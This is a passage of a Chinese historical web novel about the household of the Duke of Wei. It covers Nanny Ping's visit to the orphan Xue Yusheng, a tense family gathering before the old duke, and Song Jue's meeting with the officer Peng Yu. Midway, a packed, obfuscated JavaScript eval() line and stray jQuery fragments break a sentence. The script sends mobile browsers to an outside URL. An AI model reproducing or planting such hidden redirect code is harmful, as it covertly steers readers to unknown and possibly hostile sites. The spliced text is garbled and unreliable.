就在这暗与明交界构成的昏冥时分里，平嬷嬷眯了眯眼，恍惚间依稀看到了一个似曾相识的影子。
但那人很快从光影里走出来，十分有礼地道了声：“嬷嬷。”
平嬷嬷收起心中杂乱思绪，仔细打量面前这位少年。
虽然之前有见过几面，但都是远远一瞥，何况那时她忙着府里杂事，也没有过多关注。如今这么近距离观察，才发现印象中那个跟在薛大安身边瘦小孱弱的孩童居然这般大了，人也长得……平嬷嬷没读过书，只在当年孟氏读书时偶尔听了一耳朵，那个词叫什么来着。
哦，是芝兰玉树。
平嬷嬷觉得这个词用来形容面前这位少年再恰当不过了。
谁能想到，薛大安当年从死人堆里捡到的孩子居然长成这般容貌气度。若不是身处在这狭窄仄逼的下人院子，她简直以为是某个世族郎君。
薛雨生开口后，等了片息，却没听到回应，他微微挪过目光，望向对面的人，道：“嬷嬷是找我？”
平嬷嬷神色一凛，暗道自己怎么对着个少年看了这么久，她微咳一声，从怀中拿出黄布包，这才将自己的来意说了。
“是他们自己做的？”
薛雨生接过黄布包，展开来，里面是一串佛串。大大小小的佛珠串在一起，看得出是人精心挑选的，拿在手中，禅香幽幽。
平嬷嬷看了一眼。
佛串这种东西特别有讲究，譬如最好的一种是用凤眼菩提做的，饰以璎珞、珠玉，再由名僧祈诵开光，这样的佛串一般坊市也买不到，大多是专供皇室或贵族，平嬷嬷就曾在老夫人那见过这样的佛串。而略次一点的则是由檀木或沉香制成，不过即使这样，价格也不菲，便如他手中的这串，就是用最次的桃核，价格也比较低廉。
薛雨生却笑起来。他眉眼精致，一笑仿佛寒潭初融，连带着四周都明澈了些。
“谢谢嬷嬷送来，我很喜欢。”
这话瞧着似发自真心，平嬷嬷又想起之前那些犹疑不定的念头，顿了顿，试探着问：“方才小和尚送东西时，大女郎也在一旁，她说昨日见到你给寺里香火钱，原来你是在周济住在寺里的孤童。”
平嬷嬷这么说时，留心看了一下他的神色，她发现从始至终，少年的脸上都浮着淡淡笑意，甚至提到大女郎时，也没有表现出任何特别。
待她说完，薛雨生颔首，眸子清澈明亮：“原来大女郎看到了，是给了些钱财，幼失怙恃，他们生活也不易。”
他脸上晃过一抹不易察觉的落寞，平嬷嬷很敏锐地察觉了。她恍然想起，他自己也是无父无母的人，唯独一个待他好些的薛大安，也早早过世了。
这么说起来，他周济那些幼童也就有了解释。
平嬷嬷松了口气，心里的疑惑消散，自然而然也生出了一抹怜悯。
“你是个好孩子，以后若有难处，尽管到舒兰院找我。你娘——”她指了指对面，“你也不要放到心底去，你好好念书，路总归是能走出来的。”
薛雨生眸子微微一动，躬下身。
＊
平嬷嬷回到舒兰院时，心里还在叹息。
多好的孩子啊。
连他都很喜欢，也不知薛大安家的这些年怎么狠下的心。
待晚间替夫人沐浴时，特意提了一嘴。
孟氏略显诧异，她显然不知道昨日在寺中还发生了这一茬事。
“那个孩子心地善良，我过去时，他正给养母送饭，我瞧他衣袍都是府中下人的料子，浆洗得十分干净，人也谦虚有礼。”
孟氏穿好衣袍，边走边道：“难得他身处困厄却犹有这一份心境。”又想起老夫人叫她书信蔡府一事，顿了顿，叹息一声，“可惜他出身不好，不然……”
内室里，宋觉正斜靠在卧榻上看书，闻言微抬起头，问道：“在说谁？”
他这些年都在凉州，府内好些人已经认不全，听孟氏说是门房之子，还得了院试案首，不由也带起一丝好奇。
“明日让管事带他来见我。”宋觉吩咐一声，又重新拿起书卷。
平嬷嬷忙应是。心中不免为那少年高兴，大爷如今执掌一方，圣眷正浓，若是得了大爷青眼，他以后的路也好走不少。
平嬷嬷替夫人擦拭完头发，又铺好床榻，才躬身退出房门。
第二日，各房人早早起来，齐聚老夫人的松涛院。宋氏老爷宋秉却没有出现，这些年他养成了晨练的习惯，每天早上必要打一套拳。大房里众人都规规矩矩坐着等待，独二房几个郎君似有不耐，频频张望。
宋觉端起茶盏，啜了几口，不发一辞。二房宋规素来温吞，眼眸垂着，也不知想什么。他发妻薛氏今日也来了，只气色仍旧不好，不时闷咳几声。
气氛有些诡异。
宋时言倒还好，对此见怪不怪，只宋晖远还是少年性子，这几年又不在府上，见满堂人乌压压，又没一个人说话，不免觉得有些不自在。
就在他屁股都要坐生烟的当口，宋氏老爷终于姗姗而来，众人一凛，忙起身相迎。
魏国公宋秉年少投军，跟着圣祖南征北战，因功勋卓绝被封辅国大将军，后又加拜魏国公。是以众人遥望间，就见一个精神矍铄，满面威仪的老者从门口走了进来。
宋秉进屋于主位坐定后，迎着众人的目光，抬眼扫了一圈。
眼风颇为锋锐，除了宋觉，其余诸人很快低下头。
对于宋秉这样真刀真枪上过战场，又曾手握权柄，位居高位的人来说，即便已经退下来，但经年的戎马生活早在他身上刻下不可磨灭的印记，因此，能接住他目光的人实属少数。
宋秉心中微微一哂。
大房那边便罢了，几个小辈虽垂下头，但看得出气息沉凝，并无多少慌乱，反观二房这边。
啧。
老二平庸是他早已接受的事实，但几个孙子为何也是一副战战兢兢的胆怯模样。
又望了望老二媳妇，也是一副气血不足，风吹一下就倒的样子。
他不由蹙了蹙眉。宋氏行至第三代，虽圣恩犹渥，然自昭文太子谋逆案后，朝堂局势风云变幻，加之如今皇帝乃先帝端妃所出，端妃母族素与他政见不合，若非他急流勇退，而长子却有军功，如今的国公府怕是早大不如前。
宋秉心中一顿，再次将目光投向大房几个孙辈。
长孙瞧着是稳重的，可惜魄力不够，次孙嘛，魄力虽有，但为人又张扬了些……
宋秉看着看着愈发蹙紧眉头。
这一出宋氏三代的会面就以国公爷单独留下大爷与二爷，几个小辈如逢大赦而告终。
待出了松涛院，二房的五郎悻悻道：“方才祖父的眼神太可怕了，现在想起来我后脖颈还凉嗖嗖的。”
几个兄弟都暗自点点头，偏宋晖应嗤笑一声，满不在乎地打了声哈欠。
五郎于是道：“三哥，你不怕吗？”
“有什么可怕的，祖父又不是猛兽。”宋晖应数落着自己庶弟。
五郎瞪大了眼：“三哥你好厉害，听母亲说你要去国子监了，看你没睡好，是不是昨晚温书了？”
五郎尚只有十二岁，见三哥一大早萎靡不振的模样，只以为是温习功课的缘故。
宋晖应含糊应了声，经他一提起，不免回想起昨夜芙蓉帐里的温香软玉，顿时人也不困了，到了岔路口，两波人各自分别。
宋晖远靠近大哥，压低声音道：“我看三弟昨夜不像是温习功课，倒像是被什么吸去了精气，整个人蔫蔫的，莫不是府中有什么不干净的东西？”
可不是失了精气吗。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16503035|186048||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>宋晖值沉下脸，同在一个府里，三弟私下做得那些事自然瞒不过他眼，只毕竟不是亲兄弟，他起初还规劝过几回，待发现三弟行事依然如旧，也就不说了。宋晖值又睇了眼身后，如今妹妹在旁，这等勾栏之事却不好说，遂含糊一声带过，转而问起另一事：“郡王今日没有安排吗？”
宋晖远拍了下额头：“吓，倒忘了这茬，说好去吃如意居的挂炉烤鸭，大哥快走快走。”
转瞬就把刚刚想问的话抛之脑后。
宋时言看着跑得贼快的宋氏两兄弟，不禁扶额，怎么感觉有二哥在旁，大哥也被带着跳脱了些。她又问了一旁侍女，得知阿娘已经回了舒兰院，这才循着小道往后院走。
＊
宋觉从松涛院出来时，大房管事迎了上来，道彭都尉已到府。宋觉略一颔首，撩袍大步向前院行去。
到了前院书房，果然见一长袍中年男子坐在客椅上喝茶。昨日晌午，他正是碰见此人，而回家晚了些。
这人名叫彭屿，曾任东宫卫率府中郎将，当年昭文太子事变时，他恰巧因父丧丁忧而免受波及。后来自请降职去鄯州做了个参军，直至近些年才复被提拔为都尉。
因宋觉时任凉州都督，与辖下各州军务上来往频繁，加之早听闻彭屿善谋兵事，几次私下结交后愈加赏识。这次他从凉州归家，也没料想竟与彭屿在望都相遇，昨日便与他聚了一场。
彭屿站起身，冲来人拱了拱手。他虽已不惑之龄，但常年的操练使得全身肌肉贲张，身材依然魁梧。
“昨日多谢都督款待。”
宋觉于主座坐定，略颔首，吩咐小侍换茶。
“这次来望都准备停留多久？”宋觉从小侍手中接过茶，浅抿一口。
昨日在交谈中已得知，他此次来望都只因族中老人过世，既如此，想必等安葬完毕就要动身返回了。
果然，彭屿道：“刺史准了我半月假期，等此间事毕便返回鄯州。”
鄯州乃边防重地，同时也是条件最恶劣的几个州之一。那里土地贫瘠，风沙肆虐，有些门路的将士都想办法调离出去。宋觉又望了面前人一眼，听说他一直单身，大约也是被此拖累，遂道：“昭文太子的事已经过去很久了，今上亦是开明圣君，若你想，我可以启奏圣上将你调去其他州郡。”
彭屿却遽然站起，躬身长揖到底：“多谢都督美意，然彭某多年前已与人约定，此生都将戍守甘凉，不会离开。”
“竟是这样。”宋觉抚了抚颌下长髯，沉吟片刻后道，“既如此，此事暂罢。”
两人转而谈起望都风物，待离开时，彭屿忽问：“我离开望都已近二十载，昨日走了几间坊市，才感觉一切都大变样，不知都督可否知道一个叫帽儿岭的地方？”
“帽儿岭？“宋觉思索片刻，终是摇头，又问，“此地可有什么特别？”
“无甚特别。只是……当年那事后，我再也没回过望都，后来听说曾经的一个部下也幸免于难，眼下就住在帽儿岭，我想过去拜访他。”
原来是这样。
宋觉招手，门外小侍走了进来。
“叫管事来。”
没过多久，宋府管事到，宋觉便说：“彭都尉想拜访友人，你于望都周边熟络，便带他找找。”
管事应是，彭屿再次躬身，拜别离开。
只是管事也没听说过帽儿岭这样的地方，两人走到前院门口，管事道：“都尉莫急，这地名想来是乡民取的，未过正式文册，稍后我便着人打听，务必尽快找到。”
彭屿拱手，再次道谢。
恰这时，一道温润的声音响起。
“宋管事。”
两人同时抬头，便见翠蓬蓬的竹茵下，站着个素衫少年。
只一眼，彭屿的魂灵深处，骤然一惊。